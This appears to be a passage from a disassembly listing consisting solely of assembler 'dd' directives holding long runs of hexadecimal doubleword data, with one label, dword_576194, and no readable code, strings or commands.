		dd 7B1B9C20h, 4A924ADCh, 7214F108h, 5A839438h, 0CE048D1Ch
		dd 8E084C3Bh, 1B80BDC1h, 2571A43h, 0B08F00BFh, 5E150C70h
		dd 110BFCA2h, 106140B6h, 8ADCD4h, 2725CD1h, 7F74A1A5h
		dd 7D92E407h, 0F632AB13h, 440C6C20h, 85003669h,	0D78F2D2Eh
		dd 1B7107Fh, 0A3ED829Ch, 4CECD9A8h, 0C40115E4h,	181CF9EAh
		dd 6470AAE2h, 495BB877h, 2983585Dh, 0A8E1FA3Bh,	6C42462h
		dd 0AD577119h, 175DB0h,	4A2D6D2Bh, 0A8E4D500h, 0EAE0B215h
		dd 39449842h, 0ED17F8B1h, 0E09495h, 0C727761Ch,	8660FD15h
		dd 239B9E90h, 8B0C001Bh, 0F7410EE1h, 18038AA0h,	0E091DB64h
		dd 10E4BC8Eh, 27C507DFh, 3F11D563h, 69247440h, 1805B3EAh
		dd 0F3F93F83h, 0BC9584C5h, 15F8F404h, 54B18249h, 0A06719h
		dd 0E96B4E11h, 4827F0D6h, 22DEA853h, 8728DD02h,	424BAD13h
		dd 16184504h, 731C22A8h, 74A2B0CCh, 0B8644CC0h,	0D8678500h
		dd 7602DB93h, 20E49040h, 909473F5h, 0B282640h, 1F541EB1h
		dd 0A753806Bh, 6A3E6012h, 57FB1909h, 0B08C4C4Ch, 0CD5B01D8h
		dd 60FCE4D0h, 0C8F1FCD6h, 0A0F0181Ch, 5AD38DC0h, 0F82CBDh
		dd 9C124A41h, 5A483F5h,	0E148D400h, 6696C4EFh, 0E2CF0390h
		dd 10CCC1C5h, 0F3AD3900h, 0BADED8F8h, 0FE710Ah,	8294D076h
		dd 0E4830796h, 5ABEE700h, 44CF8DCDh, 3CAD07F2h,	11610931h
		dd 0E5DEB6C9h, 0F10301Fh, 0DCF09Fh, 805B9273h, 6DC33958h
		dd 0ADFB7203h, 63164DCh, 5A3D348h, 955C808Eh, 735D02B4h
		dd 808C75ABh, 2578CEA5h, 0E6620185h, 0C7283326h, 5C1D8CCh
		dd 0FC39046Dh, 33CD0883h, 66A003FBh, 0F41E9AC2h, 39079709h
		dd 0BDA05EC7h, 98017FB2h, 9EFA0122h, 1A70B916h,	0FBEAC025h
		dd 0B303543Dh, 80A8B864h, 0C2E909FCh, 0CF01C0F1h, 88F094A3h
		dd 0F6237100h, 91407C95h, 13440B37h, 7083F939h,	7781E9ECh
		dd 985BEC8Bh, 0CD53ED03h, 12594FF3h, 0CCF660h, 157CAD17h
		dd 69DCC0EEh, 0FC7FE800h, 0E35302h, 0DADBFA04h,	0E2315B77h
		dd 0CBD0501Fh, 4C52D4h,	93BFF73h, 2695FE1Ah, 36AC303h
		dd 16CCC085h, 728B17Dh,	0F95618E5h, 59261F74h, 0DD39280h
		dd 7C833F7h, 1364FE65h,	235A80D0h, 7600D22Bh, 5FFA6D15h
		dd 36652C7h, 0E9F1A174h, 691F12A3h, 7C40ADB0h, 0D605E17Bh
		dd 9CBF01E4h, 65DD585Bh, 0FAF85184h, 0C54F2074h, 0A48B8F98h
		dd 0CC8472E2h, 5CDC43A1h, 14314C59h, 0E0705844h, 2D6303AFh
		dd 10DDF646h, 48E5AEE9h, 8A03A388h, 0C2235E21h,	5888E480h
		dd 0D73E3D98h, 0F613573Ch, 0F700EB8Fh, 0AC02566Ah, 2872006Bh
		dd 752C7652h, 0EA520DFDh, 0E060098h, 0FBE437F7h, 5B722934h
		dd 5FB58188h, 20794305h, 8D0EE590h, 7E8F8A03h, 85009A2Ch
		dd 726AC5EFh, 6C30C1BFh, 22FFCDC0h, 0A0D38B8h, 84A6F795h
		dd 16734880h, 1F6D4581h, 81A1E5FFh, 0C2E2628Ch,	0A900FBD4h
		dd 0BE0A61BCh, 52B16AFh, 0DD7CB8A4h, 61B9C5E9h,	0F204FED8h
		dd 0AE007327h, 0E06E216h, 0FBD2C76Dh, 210B1833h, 0B8A84E0Ah
		dd 8C00428Ah, 1CFD9712h, 0A046BC0h, 0C207BA87h,	4717E4FCh
		dd 9731AB7Fh, 50205647h, 5D663CAFh, 0FB76AC0Eh,	0F8E56A02h
		dd 0C3EEEC83h, 5343711Ch, 89B75F80h, 0B1AA61h, 1D8B88B9h
		dd 6E641697h, 9C69BA29h, 48F6C0B2h, 7FB8CDF8h, 0B6B400DCh
		dd 63B5AF9Ah, 0C713565Ch, 5B001908h, 5889CB45h,	71C260E7h
		dd 1103D3DEh, 0A059F200h, 0E5EE36FFh, 1D60F86Ah, 0D27B785Ch
		dd 0D7C430AEh, 7400DF7Eh, 198F8258h, 0EC3DA7A8h, 9B765CE2h
		dd 0EE180457h, 7BC239E8h, 0FF04A876h, 3E2A4AD9h, 35AD108Ch
		dd 0C29EBEEh, 0F8EA2D42h, 3036BD07h, 9CB00E19h,	26E6CBF9h
		dd 47CCA170h, 5E756088h, 7975E471h, 2A005748h, 9D00D881h
		dd 6BEC7413h, 0F2B440h,	6A76C028h, 0FDBEF305h, 68E18201h
		dd 0A1694DE7h, 0C1EECD00h, 6ADD89C1h, 0D8E30F8Bh, 1EF375Fh
		dd 763616A2h, 2165D27Ah, 0FB288208h, 68DDCE23h,	88D70428h
		dd 0FC63DAC0h, 87F0A9h,	0A03A7361h, 0DC98A8B0h,	7D3EB200h
		dd 568DE160h, 0F2050329h, 0D3934DE9h, 3BC9143h,	0F9D9A9DFh
		dd 983D9022h, 0C7781CE9h, 41021C36h, 0A6056BB6h, 8CA844DBh
		dd 0A30038FCh, 0FCB6AF1h, 1C3DD75h, 64087845h, 0D5EF2744h
		dd 60202639h, 1602DFEAh, 3DE3E675h, 69847282h, 829F4847h
		dd 0E620DC54h, 0E8293ABh, 0AE4BD33Ah, 60907A00h, 58045AFBh
		dd 0F69E2276h, 7DE088h,	7266102Ah, 69D1B7E3h, 0FD2DFB00h
		dd 0E3A7B83h, 0E300986Fh, 4ECC4714h, 0C38470h, 0F76E536Dh
		dd 618703F9h, 5172A230h, 5BB32010h, 0EAD9C00Ch,	0F5077341h
		dd 67ADEF01h, 44300E8Bh, 961F3162h, 0E5AC20A8h,	9A7E6AF9h
		dd 76379000h, 0E763FBA2h, 0B2AA163Ch, 0D7100091h, 716CD84Fh
		dd 6F280612h, 0D9F62005h, 15E7B470h, 0B03700DAh, 35813F19h
		dd 2133CDFh, 44040764h,	0E4C15E62h, 6C60B4D2h, 208A03BEh
		dd 0A22C63ADh, 0A043CC80h, 6490BC90h, 8CA128A4h, 0D2A117EAh
		dd 0CF099CFh, 4C5C7779h, 0E0008A2Dh, 8B76D17Ch,	960ECD60h
		dd 98674DD3h, 0F88AB999h, 11FCADh, 0E801D27Eh, 400E0CFDh
		dd 7376C4A0h, 0D6681A06h, 1D901B4Ch, 1BC1C2Dh, 4E4C652h
		dd 0CBC2172h, 83540AA0h, 7802ECD4h, 3524E0D1h, 0C28C8263h
		dd 16AD03D8h, 0FCA59A81h, 90488BA4h, 5C768030h,	0BADCD695h
		dd 2E09099Ch, 9C801AE8h, 1DF80CFAh, 0F5EE0800h,	32D0DCF2h
		dd 1F75E072h, 306DF116h, 17116F98h, 3A017304h, 34D2D8E7h
		dd 5B8129DFh, 0D8494216h, 83002E34h, 59A0BA0Eh,	504E8201h
		dd 58DCC09Eh, 5383A46Bh, 0A116AAEFh, 0A7F8388Fh, 57089200h
		dd 0EB497007h, 0FFE18301h, 75FCDD99h, 5C12A831h, 74864A3h
		dd 0BEA0EB61h, 562831DBh, 0FFB4F005h, 52B11206h, 3029CB9Ch
		dd 1C71DCF0h, 0D90003E7h, 0DFDE3E5Fh, 70106Bh, 0D766BAFDh
		dd 0D6C096E5h, 30774A26h, 80D21188h, 0E395F4FAh, 2CA0C553h
		dd 0E401B26Ah, 8FB1B305h, 0AD0EB01h, 5CE9C082h,	1D3B8AD1h
		dd 0B069FF01h, 0E6EE0F39h, 0E1465187h, 8F143034h, 0F3140EBFh
		dd 202CE984h, 13EB44E5h, 0FB01FAE8h, 6973B9AEh,	0F432E70Dh
		dd 4A9F3001h, 0CD5C6F68h, 3E4C30EDh, 25FEA040h,	1C12EB5Bh
		dd 83AD3004h, 0A97C1460h, 2898BB57h, 5E44D8ADh,	5230C0FAh
		dd 7C0242BAh, 0BB4DFC00h
		dd 61E9F320h, 0A2618E4h, 941E20AEh, 6846E600h, 6FE00CBBh
		dd 25FA0071h, 0FBE7B931h, 0C872599Bh, 0B3B1A900h, 0A06F0BF6h
		dd 0FEAEECB4h, 0D4F552FAh, 8FC31Fh, 24287AF9h, 6300D7A6h
		dd 61CE0B41h, 35785Bh, 21096C52h, 6BEEF0E6h, 0C1918200h
		dd 0D5D21AB1h, 0D9AA0356h, 0DEAEC4F5h, 0F60146E0h, 1A0908ECh
		dd 6CE54Ch, 55CBD874h, 73B300BCh, 0C34DF970h, 42002136h
		dd 9AA25269h, 3E726Fh, 3AC701EAh, 0F955C368h, 20AFAD30h
		dd 5D0F6727h, 1380FC1Fh, 4D2990DBh, 168C1003h, 0C0FD6324h
		dd 581DFB80h, 6600D86Dh, 95C52D5h, 0FE3ACCC7h, 3CAF830Ah
		dd 9E4D168h, 38AB5249h,	0FE85550Fh, 12F82509h, 0E4DC2050h
		dd 0FF268976h, 9D049454h, 1291BAh, 0C7585C2Ch, 8A16D01Ah
		dd 70286794h, 0A0BB006Eh, 5DD1A8C6h, 62006FF1h,	0F42C052Ah
		dd 240B0490h, 8F00AD3Dh, 7F0CCE38h, 4800A579h, 0C057124Ch
		dd 1DA1C883h, 18727DDFh, 0E0F99FBh, 0CF00EA72h,	84FC9177h
		dd 6E3C6529h, 995F90A7h, 146015h, 0A1D7954Dh, 1D10D450h
		dd 1B006A26h, 8AE55109h, 7E28EC3h, 0CC2884CEh, 63E8A046h
		dd 0D3328B73h, 400348BDh, 0F2EF94h, 0D9C7A28Fh,	91739A2Ah
		dd 0C6100E03h, 7485F068h, 0E97A0169h, 874BBE51h, 0F915F9C8h
		dd 24C32F0h, 0E21448E6h, 0A06B6045h, 80310011h,	6E08F8B3h
		dd 820037BEh, 6BBA9447h, 927C6DB5h, 0D90D22B8h,	0D7E97313h
		dd 84529430h, 89ED0058h, 0C23AC017h, 1A01FF99h,	9170F966h
		dd 0B0508C0Ah, 0DA594Ah, 0C60E3872h, 81866EC1h,	6713CBE4h
		dd 0F01EB94Eh, 68DC2462h, 9418CBD4h, 19C0380Ah,	0A81E30E2h
		dd 39350089h, 4E561425h, 0B7017910h, 5D86F7DAh,	0FC356D65h
		dd 7A7A6CC0h, 418BE7DCh, 2818964Dh, 0F50C0199h,	2185290Fh
		dd 9ADC12D9h, 0EC81D68h, 0DD838C6Ah, 21124D5Fh,	0C4011A3h
		dd 3FAD37FAh, 38DF0AD8h, 79471C2h, 1076201Ah, 725548E0h
		dd 9120545Dh, 0F4130064h, 0E2D6C897h, 0C3250047h, 5F82BE3Fh
		dd 0A10024E1h, 0E8FEFF8Ah, 58026A03h, 0C86454C9h, 0B48F2384h
		dd 60400C5Fh, 9500F519h, 0E20197C5h, 0FCFD07h, 4F5C6DABh
		dd 0F99B8068h, 0DD44F090h, 0AB7200D9h, 6F8E2E1Bh, 980A100Ah
		dd 2866DC6Ah, 1674F000h, 295400Dh, 917D06Fh, 0B060649Fh
		dd 6A5052DCh, 0DD446948h, 0D630A0EEh, 593E1DCAh, 4CAB43B2h
		dd 81DD7644h, 42CEF24Dh, 0D2089ECh, 638C1Dh, 1732A53Ch
		dd 0CAAFD2DCh, 0B60E2607h, 0C17293D1h, 8C184367h, 74C9152h
		dd 0EB080A5h, 0FBE43CB7h, 0D8A40Bh, 35CEC2B8h, 0FE65707Ah
		dd 5300FCE4h, 2F14180Ch, 6D0CC8Ah, 93CA790h, 7507426Bh
		dd 0F5619DE1h, 18B0A83h, 0D4FFC749h, 0CCD75DFCh, 42005648h
		dd 6CE38F96h, 3058A3DFh, 0E008C4B7h, 80A8D5E7h,	0D0170AD3h
		dd 3E0246B4h, 6065EC0Bh, 6F80D9h, 0E8A9D88Eh, 345C94BFh
		dd 27110900h, 6C6EE185h, 6A40C744h, 0B4EFC414h,	3500962Ch
		dd 72265CCh, 77E669h, 488FFCCAh, 137DA10Ch, 0A1E8A0Eh
		dd 969689CEh, 9CFD0744h, 0EE14E422h, 30EADA80h,	0E001786Fh
		dd 9383F93Eh, 6831F251h, 64CC08h, 0C8C3D7C5h, 7B79976Eh
		dd 5DE87A07h, 47411968h, 0D030AEAFh, 8AC83E76h,	9276A93Ah
		dd 0C46C5914h, 31286492h, 301936FCh, 790E8FD2h,	0A04B499Ch
		dd 402B6C50h, 0D88C01F1h, 6411BC4Dh, 24C0CA9Ah,	0C0014962h
		dd 53ECB087h, 118A60C3h, 0C14C468h, 0F461860Ah,	65610600h
		dd 6A670789h, 0B1D6E679h, 0A164004Ch, 36DF0415h, 0D70EC11Dh
		dd 0E094AD0Eh, 73BEAE81h, 414D00F3h, 11EA8BC7h,	0C400F69Dh
		dd 6959C3CBh, 0B86EA247h, 965D7D64h, 838ACA0h, 5783605Ch
		dd 1D1FEC7h, 0D68FB71h,	698F95B3h, 0E801797Ch, 0AAA64D3Bh
		dd 0D0E1A9D2h, 575D0840h, 8C6D58C2h, 0E7EE2B0Ch, 71021949h
		dd 8A316AEBh, 97802F7Bh, 76553072h, 0F7FEF600h,	0F49B986Fh
		dd 0D18500D7h, 0A4D8C44Dh, 0CA0F036Ch, 62B9AD5Ch, 400F9617h
		dd 0E646559Ch, 0B1927188h, 0C8B60038h, 0FAEB289Fh, 89F622h
		dd 0AF210C06h, 84900F72h, 37346100h, 3B0EF773h,	0CE80A2AEh
		dd 0A61200B8h, 0B5106D11h, 8700BB36h, 70D69DF9h, 314268Bh
		dd 5F2ED986h, 0C294F8D0h, 1C432840h, 0A4E6FBC2h, 97D66207h
		dd 0F1B18560h, 3930A2C3h, 2E3E0927h, 0E8A0739Ch, 0F29B943Dh
		dd 2584E550h, 0C88F3Fh,	9A95D810h, 4C1F5753h, 3C87F80Ah
		dd 7ED6D026h, 0C7174ACEh, 5C0467F0h, 0ECE2684Dh, 3B201D8Fh
		dd 0EFCA4F8Eh, 6114E100h, 0B3900106h, 0FF101DBDh, 0C7DA8587h
		dd 0E8F02091h, 0E4A86BE0h, 0F10A7252h, 0C08C5817h, 83905002h
		dd 1938E176h, 670F0D10h, 0D500DDE8h, 0F21D821Ch, 560B677h
		dd 0BF9190DAh, 0A6ACCCF5h, 0AF3FD50Fh, 53CF01EFh, 11848B9Eh
		dd 0B25FDCC6h, 0F0700954h, 7494AA71h, 97B8102Dh, 6C207F5h
		dd 0C3FD17B6h, 93E1E262h, 3CC2EEDFh, 3DB5EC82h,	522C452h
		dd 10EF05D2h, 90E74A84h, 0CE266750h, 0CA14B4B9h, 213C05ECh
		dd 64D0F995h, 26EF904Bh, 420C9953h, 688ED668h, 0BC0784CBh
		dd 0B1A4C0FBh, 7CBAD771h, 0EC921A1Fh, 3000F812h, 6DD8C138h
		dd 0ADF61472h, 0E960BC16h, 10B1A303h, 5B01F0A4h, 0E7736DCBh
		dd 0F9D093A9h, 0A7609C0h, 300BCC79h, 3800F064h,	2D06BDC7h
		dd 0BC859Eh, 3F24F01h, 9A23FD6Eh, 948C1924h, 2716BF05h
		dd 91573000h, 2848C742h, 89C0F090h, 8C0CCF6Ch, 0BCA17380h
		dd 998B8220h, 0F3E02166h, 0AD01F976h, 5977536Dh, 9840A1C0h
		dd 3E49C78Ah, 9721F190h, 34CAD090h, 64202Ch, 0C27EF781h
		dd 20B9DB56h, 0AA4FCD00h, 0C8280678h, 9CB047Dh,	858FFE24h
		dd 0BB1884F4h, 21309611h, 291490C4h, 0E100B00Ah, 7D699FCCh
		dd 73DB0E9Bh, 2060A8E3h, 1D787403h, 612E3202h, 70A9FA28h
		dd 5A39C2E8h, 38489FF0h, 9D009837h, 0C2BAB717h,	16264A2h
		dd 795FB486h, 887596E3h, 0C0B6F140h, 652D76E1h,	8F48517Ah
		dd 73810008h, 0FB6A21D7h, 8164B9Eh, 0AD80D128h,	613AA4CCh
		dd 3A95F860h, 4A7A6F46h, 64001406h, 0A5CD522h, 21AF8018h
		dd 155C54h, 8A58DF3Eh, 44A7EDD9h, 73227C0Bh, 104E0BFh
		dd 0BCF08A17h, 1CFB6044h, 70E1CBh, 2316F4FCh, 949EED8Fh
		dd 663F1D01h, 0A1CC8CC8h, 0E9F20D03h, 0E44914A3h, 50659E0h
		dd 0A60E11F9h, 0FBF61E21h, 6057580Fh, 694F8AFAh, 299ED05Dh
		dd 22B4F555h, 0B3E40AE8h, 50A170h, 0D24DFEDDh, 5F021B37h
		dd 0FD1F0805h, 3B906082h, 0AC9A1643h, 0A290C4B4h, 0F746398Ch
		dd 0A6AEDD00h, 8580B0CAh, 953E16ACh, 0E080C0EBh, 0D11C0E5Bh
		dd 5246E96Ah, 1C998EEFh, 0FDAFD039h, 0D768F800h, 4832816h
		dd 61B4EF00h, 0F01194E6h, 8B1B00B8h, 0AF63DCD9h, 16FEA7BFh
		dd 783CDE00h, 9BEB51C1h, 0DFA20052h, 68839449h,	0AD02EABBh
		dd 55CA3128h, 918CC0AEh, 5DC01E75h, 40C026C8h, 0EADBC77Ah
		dd 3158B100h, 0D98DD36Fh, 0DA5502F0h, 6ADD0420h, 0A32A5C52h
		dd 0F8009418h, 0CCF4EFF1h, 1E367759h, 982139h, 5B7E3E72h
		dd 0E1308A5h, 0DCC2FB16h, 64B020FDh, 0EF003A8Eh, 297133FCh
		dd 4C60BEB5h, 88403020h, 0A0A21282h, 16D890F6h,	4D05710Ch
		dd 200E039Fh, 0E240E827h, 0B808CE01h, 2CA09648h, 562F5098h
		dd 831D1800h, 0CEBB40B8h, 905D01F8h, 2CD69F07h,	67482082h
		dd 2918544h, 5E5F35E9h,	585408FEh, 2B7DAD60h, 0F7DA375Dh
		dd 74D2C081h, 414BDCC2h
dword_576194	dd 1E2E7828h, 16D0D557h, 0CC7A016Eh, 44FF684Ah,	6D08A0B4h
		dd 4404C024h, 0F1087340h, 834D318Ah, 236BDC61h,	0FC0B4E94h
		dd 7F464FAh, 2D2DF5Fh, 5D564015h, 6C00F480h, 0DEBC704Fh
		dd 0B89A820Dh, 0A26F0584h, 0A216FC99h, 0FE410268h, 0A45BAB1Ah
		dd 0A9408498h, 4BB49B80h, 59C83809h, 0CC758349h, 0A2989042h
		dd 920A002Ch, 0D9B9F871h, 80A05DABh, 0FA888264h, 0AECE004Dh
		dd 529E20AAh, 8A009D99h, 2AC834B3h, 3AE48D68h, 9A0269DFh
		dd 0CECFC06Eh, 33F6C02Fh, 0E69DFC72h, 0A7941611h, 0C19421D2h
		dd 904D00CFh, 80B8B68Fh, 46079B99h, 0D8B82B3Fh,	0FCF5307h
		dd 152012A8h, 1019B4h, 0F9DBF5BDh, 0C3A27ECCh, 1B0C748h
		dd 540FC106h, 7864E701h, 2C630062h, 0DC6F25A9h,	1A4CFC9Ah
		dd 0C2FA8078h, 0D4BE7E6Ah, 0DC854090h, 4E18C83Eh, 8B66DA00h
		dd 0AD76E8E4h, 0D64D07F1h, 801C2EA4h, 73DCA152h, 0E4D5A928h
		dd 0DDDBE91Dh, 0B763FF00h, 0F61D0Eh, 22F0EF4Dh,	71F8A20Fh
		dd 8BC76700h, 52984F43h, 7C9502C6h, 0E83DF0B2h,	97289CC0h
		dd 0CDE0A207h, 0AF049AE6h, 6E0178A2h, 0E53E6FEAh, 0C079A2h
		dd 749A555Fh, 1E4EA520h, 40793C9Bh, 0D273CC57h,	7B1698B7h
		dd 0F800582Eh, 18E89B11h, 0FBF9139Fh, 0C8509508h, 69048E04h
		dd 0C81DD821h, 0FB322CD0h, 0A305002Dh, 25F99D90h, 0BD009749h
		dd 795256B5h, 0E38901B9h, 2C7AC840h, 4C6848B3h,	70AC840h
		dd 0D75D7833h, 4FF8F0DBh, 0BE01AF18h, 99224783h, 0D6F81080h
		dd 0E88758FDh, 8140F500h, 0C1716A79h, 0A9524E00h, 22BF12F8h
		dd 9BC80495h, 0B7DE7C8Bh, 0E64B00E8h, 0E2C24E45h, 0ADCF0062h
		dd 0F0CCD7C3h, 0B3035468h, 37762AD5h, 0F575801Eh, 8036144h
		dd 0CCC8AC0Eh, 159A136h, 0FE2244h, 9ABC24FAh, 1F61D25Eh
		dd 0D9435D00h, 76EE30F2h, 5894488Bh, 28958A80h,	0B01869B6h
		dd 59D0C261h, 0D1D0006Ah, 5290F098h, 0B4260B9Fh, 6C005233h
		dd 4BE6EEEFh, 0DE6D02E1h, 6907C1BCh, 0F040DC56h, 0EECF4D29h
		dd 0DA0801E7h, 0E28CD972h, 0DD56300Fh, 0B01F6624h, 0E9695380h
		dd 24EB03E4h, 4F5C3BB1h, 0C2951505h, 6E271488h,	0CDCA1650h
		dd 0E960D6Fh, 0DBC19A1Fh, 0BBE0EFE3h, 0F3E4518Fh, 49340B16h
		dd 0D1D6F00Fh, 6109FE13h, 2E07FB9Ch, 6A8B0021h,	80129BCh
		dd 61F5F8F0h, 0B574309Eh, 0B0790B30h, 0E5908AD0h, 5CDC298Bh
		dd 8F94844h, 2F8812B9h,	6A64885Dh, 596C33Eh, 0A2928B71h
		dd 82532004h, 0BF208857h, 0D567A82Ch, 0E04A7400h, 2C66408Ah
		dd 2458FC11h, 9B0069E4h, 301CD437h, 447AAC25h, 0F66C0044h
		dd 712A89E4h, 1601B0F1h, 0C249AF01h, 0E2D4A963h, 57991637h
		dd 21940091h, 0C7F7B04Ah, 0FD0B9600h, 66BF1DB5h, 847101EEh
		dd 0C0D62758h, 0BED5FD4Dh, 1C90CB61h, 50B148h, 38F8F691h
		dd 0AB4EB6A1h, 0D0587500h, 9C5CE1C6h, 0BC53E9Eh, 6EE967h
		dd 9EC54EFh, 58A41A00h,	0EDB786C6h, 40DC257Bh, 6A4D5021h
		dd 0E83842D2h, 94724B20h, 333B0043h, 0BD6B19CFh, 0E95D2A6h
		dd 2F0151C4h, 357E0AA7h, 88252A8Eh, 4321681Ah, 0F781D00Ch
		dd 929B3986h, 28C47225h, 0CE13A1Eh, 71BA7DC0h, 10F2561h
		dd 0F9208F91h, 0CD94502Dh, 0E99991D2h, 0BB0D4100h, 2FF95F6Ch
		dd 9682B500h, 12EA847Fh, 251600A7h, 0A98DBF59h,	0F785A53h
		dd 8EAE0700h, 9050151h,	8914BBD7h, 0F88C23EFh, 0A2399090h
		dd 0EC44CAC7h, 0ACC213E8h, 5080E1E3h, 0C88B1208h, 3D4D69F3h
		dd 0A881F2B9h, 0F8F156E5h, 108C2695h, 0D8413D8h, 53FB41D2h
		dd 8CED2B91h, 0D9732881h, 0E41BAB3Fh, 83167709h, 34200C2Ah
		dd 0E8FDE30Eh, 885D0015h, 195BEC5h, 0D0B0728h, 91B20304h
		dd 0D2608928h, 95C004DDh, 0E2736F59h, 0EA470094h, 7953EC9Eh
		dd 256E007Dh, 8AB59C6Ch, 483D978Bh, 0C8073DE0h,	846A00C0h
		dd 6020F09h, 0DC21FF57h, 68C8A068h, 9F0C2440h, 0AEF9136Fh
		dd 0DAC40663h, 0B03864BBh, 0ADF281D5h, 0AF5D66A8h, 39D4633Ah
		dd 5F1092D0h, 7001E898h, 9E244A35h, 709D902Fh, 6304224Dh
		dd 6FFACB5Ch, 3C003CB2h, 0A4F8B63Eh, 0A2062926h, 9734AF92h
		dd 161A15E6h, 0D908C031h, 0AD188E01h, 4A4A90A0h, 0DA102062h
		dd 0A200F56Dh, 4247EC33h, 176B7Ch, 0E072D4Bh, 46ADD7C8h
		dd 5368E30Eh, 1B54843Fh, 821848C7h, 7276AEFAh, 0D580D880h
		dd 4302775Eh, 7E5A8A52h, 0BD31601Ah, 5559016Eh,	0E462B283h
		dd 80103856h, 0B0AD0C8Fh, 981E009Eh, 250B92FBh,	71FA96B9h
		dd 14FD730Bh, 345E70h, 0E6F8FADAh, 574B1FE7h, 39B3C460h
		dd 3FB10095h, 251FA5Eh,	6D0123FFh, 80EC3D1h, 0E43253D9h
		dd 87E01000h, 0EEC77A96h, 7F8A953Ah, 734F7074h,	20DD7832h
		dd 6EFA7D84h, 0B88A9300h, 0EDDC5CECh, 574B0770h, 0A1CE9DF7h
		dd 790B99FEh, 833E10BCh, 190B392h, 11FE5EADh, 8645F32h
		dd 16912451h, 30F21680h, 0B3CB734h, 0F59608A0h,	4FBFD08h
		dd 0C08D04EBh, 0C068AC05h, 9C4C9883h, 0B06C01Fh, 96D8C480h
		dd 0FBF11209h, 21C0E45Bh, 669D7C0Eh, 8A9C046Dh,	9CF07A84h
		dd 0F2820E6Dh, 0FE000874h, 0D89FF8D7h, 127E4807h, 525115A4h
		dd 41D86AA7h, 7D905857h, 1128204Eh, 2A01785Fh, 92247254h
		dd 35D83FC3h, 10E20012h, 3E52806Ch, 8890BEA3h, 108F4D25h
		dd 4A78D168h, 8BD488C8h, 68003B4Eh, 3C7791ECh, 2AB400B7h
		dd 98962C82h, 925A0172h, 17403C58h, 835F909h, 91802C78h
		dd 0FA9602A8h, 267F8902h, 587CD457h, 0EC4059Ch,	2129D906h
		dd 722616B8h, 70D24AF4h, 80187CA1h, 0B28CC7DEh,	57072EE5h
		dd 0AC5EE165h, 94236F70h, 0F481401h, 0D9092024h, 0BCE89AEFh
		dd 6EE86C6Ah, 0A0DBC025h, 23D1927Ch, 98C84B57h,	408A19F4h
		dd 3B0C278h, 26F217Dh, 0FC85384h, 0A097152h, 5841CC9Dh
		dd 0D7CA0DA8h, 2AD94B37h, 3DA1A860h, 0DCD601D3h, 0C96609E6h
		dd 90C05319h, 8CA253D4h, 23950F00h, 0C46115AFh,	1D6D3848h
		dd 0DC24762Fh, 7691740h, 5036070Ah, 151EF0A3h, 893B80D8h
		dd 441D1666h, 1B9D9DFh,	0F69BC5DCh, 542F1AFBh, 0CA031200h
		dd 0E7F98AC9h, 0D2E486E3h, 0C4E40758h, 180EFE2Ch, 44946865h
		dd 0B48034B2h, 9537A4A6h, 7D5E3104h, 50C593D8h,	30AB90E4h
		dd 2449D5EEh, 0E00F328h, 0A9C31CF8h, 0FC033E74h, 0BB471E67h
		dd 97E5021Ah, 8511E64h,	6A118701h, 98215D67h, 27807828h
		dd 0F5FAD2F6h, 0DA80489Ch, 86EC0949h, 741004Ch,	507BEA12h
		dd 9A3F4F9Eh, 0F8E30944h, 0D8D0B0E7h, 2C8D4510h, 0E001C078h
		dd 1D70A26Fh, 17A3C3B7h, 0CCA890EFh, 7F0108EEh,	1C2FFBFh
		dd 31D4D99Bh, 4773206Dh, 90103Ah, 77E805F5h, 39857261h
		dd 0FB803F9Bh, 60D42FE9h, 2B1D96A0h, 0BD408762h, 0B57B9C13h
		dd 0DCAB0CFEh, 4D898869h, 80D06848h, 0BAFF726Dh, 19804B1h
		dd 8C280FF4h, 14815374h, 21D6FA00h, 77B2FB09h, 742CD015h
		dd 79E18037h, 0CEBD3E12h, 23694044h, 3C18A42h, 0E9EC18E6h
		dd 72DEC089h, 52A20994h, 0BC483CF2h, 5C8A8E93h,	0E8D962F8h
		dd 2DEDAC19h, 0C048B87Ch, 24B45E2Ah, 43B404C0h,	8901DBF0h
		dd 714925E6h, 0DD702CD2h, 1FBEC14h, 0BD5FC5C3h,	3CFF9458h
		dd 7838099Ch, 1F3498D9h, 0F43AF60Eh, 0FABBFCBCh, 5A9B012h
		dd 0DD595B72h, 93A8A841h, 2A264C00h, 727362ABh,	485A0998h
		dd 0FCD8E6D8h, 0DAF6E20h, 397FE7E1h, 94202B38h,	0B9DEB0h
		dd 25EB29FDh, 2109F55Dh
		dd 723948h, 81CD9211h, 4EA496E0h, 0A1ECC816h, 839C6F00h
		dd 0C8A90D8Fh, 0CBD600B8h, 20FBF7E1h, 0B23F7DA6h, 0C0FE00ECh
		dd 0E20E10AEh, 0C4F25108h, 2B8F9C02h, 0D0C8B061h, 1B27940Fh
		dd 6C54A2D5h, 0DD9222CDh, 0C6804028h, 0E3320619h, 0CA8A0304h
		dd 0CBAD5E5Dh, 0A7DC3DA8h, 0B7507264h, 66119CEDh, 74FA0337h
		dd 0A8441D16h, 0D4AEFEh, 0A1728FA5h, 5AD08C9Bh,	0E904FD25h
		dd 15C1C038h, 53A2422h,	4EECAC44h, 10049F49h, 0DB8E721Ah
		dd 11E50191h, 0F1ED6A0Eh, 24D67C43h, 0D6CF641h,	0BEF0EAC3h
		dd 588BA238h, 0FAC0B4FEh, 0D2269CCh, 0C059C0A2h, 85BE5D00h
		dd 0C6656Fh, 0C906EDADh, 0E15B283Eh, 0F98E7700h, 0A51B049h
		dd 0D030C4C3h, 3AB4E4A0h, 0F8BFE707h, 0C9B704B3h, 4E216B70h
		dd 0A49C28F0h, 0C44CE59Ch, 9158BEE3h, 5D3810h, 7E84DF49h
		dd 0A08643A1h, 71E511F0h, 885B50E9h, 0D0C68A60h, 0C5A9807h
		dd 0AA57F6A6h, 0A808C5F0h, 99910134h, 1043F207h, 73AC4052h
		dd 8240FDB5h, 25E849Ch,	30F2A052h, 543B9D00h, 0A24EBA59h
		dd 71339000h, 4360B311h, 18F00BCh, 5B98BD14h, 9EFA7C66h
		dd 1A44F898h, 929F3D9Ah, 9A427D13h, 0EF55090Ch,	0A45849h
		dd 0F9E5276h, 0C866B131h, 178C4650h, 7EE788h, 0BE799575h
		dd 0B1029D65h, 0A42024BEh, 426C875Ch, 1C353840h, 1C49EB71h
		dd 7857804Dh, 0F2117Eh,	0E783A2CEh, 0A14EC8BCh,	589B1A17h
		dd 0A30700C1h, 18C4F012h, 18007AE8h, 1DC1FF75h,	5352C5h
		dd 28584BB8h, 6608A3A1h, 44E71924h, 0BCD85716h,	20C24E75h
		dd 21EB5F90h, 0D110A600h, 19C87C45h, 2A4B0080h,	9E1BB1B2h
